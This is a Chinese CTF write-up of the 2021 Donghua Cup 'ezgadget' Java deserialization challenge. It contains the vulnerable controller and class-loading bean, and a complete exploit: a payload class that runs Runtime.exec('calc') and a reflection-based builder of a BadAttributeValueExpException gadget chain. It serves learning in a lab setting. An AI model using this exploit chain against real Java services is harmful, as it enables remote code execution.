前言
学了cc链后找个题练练吧,本篇文章记录东华杯2021ezgadget题目的复现过程。题目附件网上随处可见,在这就不放附件了。题目不是很难 ,看看吧。
题目分析
利用jd-gui工具反编译jar包,idea新建maven项目,把反编译好的源码拷贝进去。运行代码启动服务
本地环境启动成功,当然也可以运行jar包来起环境,只不过放在idea中更好调试。废话不多说了开始分析。有一个控制器类
@Controller public class IndexController { @ResponseBody @RequestMapping({"/"}) public String index(HttpServletRequest request, HttpServletResponse response) { return "index"; } @ResponseBody @RequestMapping({"/readobject"}) public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("gadgets") && year == 2021) { objectInputStream.readObject(); } return "welcome bro."; } }
|
设计了两个路由,重点在于/readobject路由,对我们传入的data数据base64解码,然后满足下面这个if判断就会反序列化。反序列化的漏洞点有了,接下来找找利用类。有一个ToStringBean类,
public class ToStringBean extends ClassLoader implements Serializable { private byte[] ClassByte;
public String toString() { com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean(); Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length); Object Obj = null; try { Obj = clazz.newInstance(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } return "enjoy it."; } }
|
继承了ClassLoader,在toString函数中用defineClass函数进行类加载,又有newInstance初始化,很明显,这里可以任意代码执行了。再看看其他类吧,Tools类。
public class Tools { public static byte[] base64Decode(String base64) { Base64.Decoder decoder = Base64.getDecoder(); return decoder.decode(base64); }
public static String base64Encode(byte[] bytes) { Base64.Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(bytes); }
public static byte[] serialize(Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); }
public static Object deserialize(byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); } }
|
定义了base64加密解密,序列化,反序列化的函数。还有一个user类没啥用,就不贴代码了。我们最终的目的是调用ToStringBean的toString函数来代码执行,结合反序列化,我们需要找到一个重写了readObject方法,并且在该方法中调用了任意类的toString方法的类。有这样的类吗?当然有,cc5的入口类就满足条件了,BadAttributeValueExpException类。看看它的readObject方法。
读取var属性的值赋给valObj,并调用valObj的toString方法。val属性是我们可控的,那么链子就直接走完了,很短吧。主要思路:
BadAttributeValueExpException->readObject()->ToStringBean->toString()->任意类加载
|
编写被加载的类:
package com.ezgame.ctf.exp; import java.io.IOException;
public class payload { public payload() { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { var1.printStackTrace(); } } }
|
编译成class文件,然后编写攻击类:
package com.ezgame.ctf.exp;
import com.ezgame.ctf.tools.ToStringBean; import com.ezgame.ctf.tools.Tools; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import javax.management.BadAttributeValueExpException;
public class exp { public exp() { }
public static void main(String[] args) throws Exception { ToStringBean toStringBean = new ToStringBean(); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("123"); Class c = badAttributeValueExpException.getClass(); Field objval = c.getDeclaredField("val"); objval.setAccessible(true); objval.set(badAttributeValueExpException, toStringBean); Class b = toStringBean.getClass(); Field classbyte = b.getDeclaredField("ClassByte"); classbyte.setAccessible(true); byte[] filebin = Files.readAllBytes(Paths.get("D://tmp/classes/payload.class")); classbyte.set(toStringBean, filebin); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("gadgets"); objectOutputStream.writeInt(2021); objectOutputStream.writeObject(badAttributeValueExpException); byte[] code = byteArrayOutputStream.toByteArray(); String s = Tools.base64Encode(code); System.out.println(s); } }
|
为了满足if条件判断,将gadgets和2021写入流,通过反射修改类属性,这些都是常规操作了。
成功弹出计算器。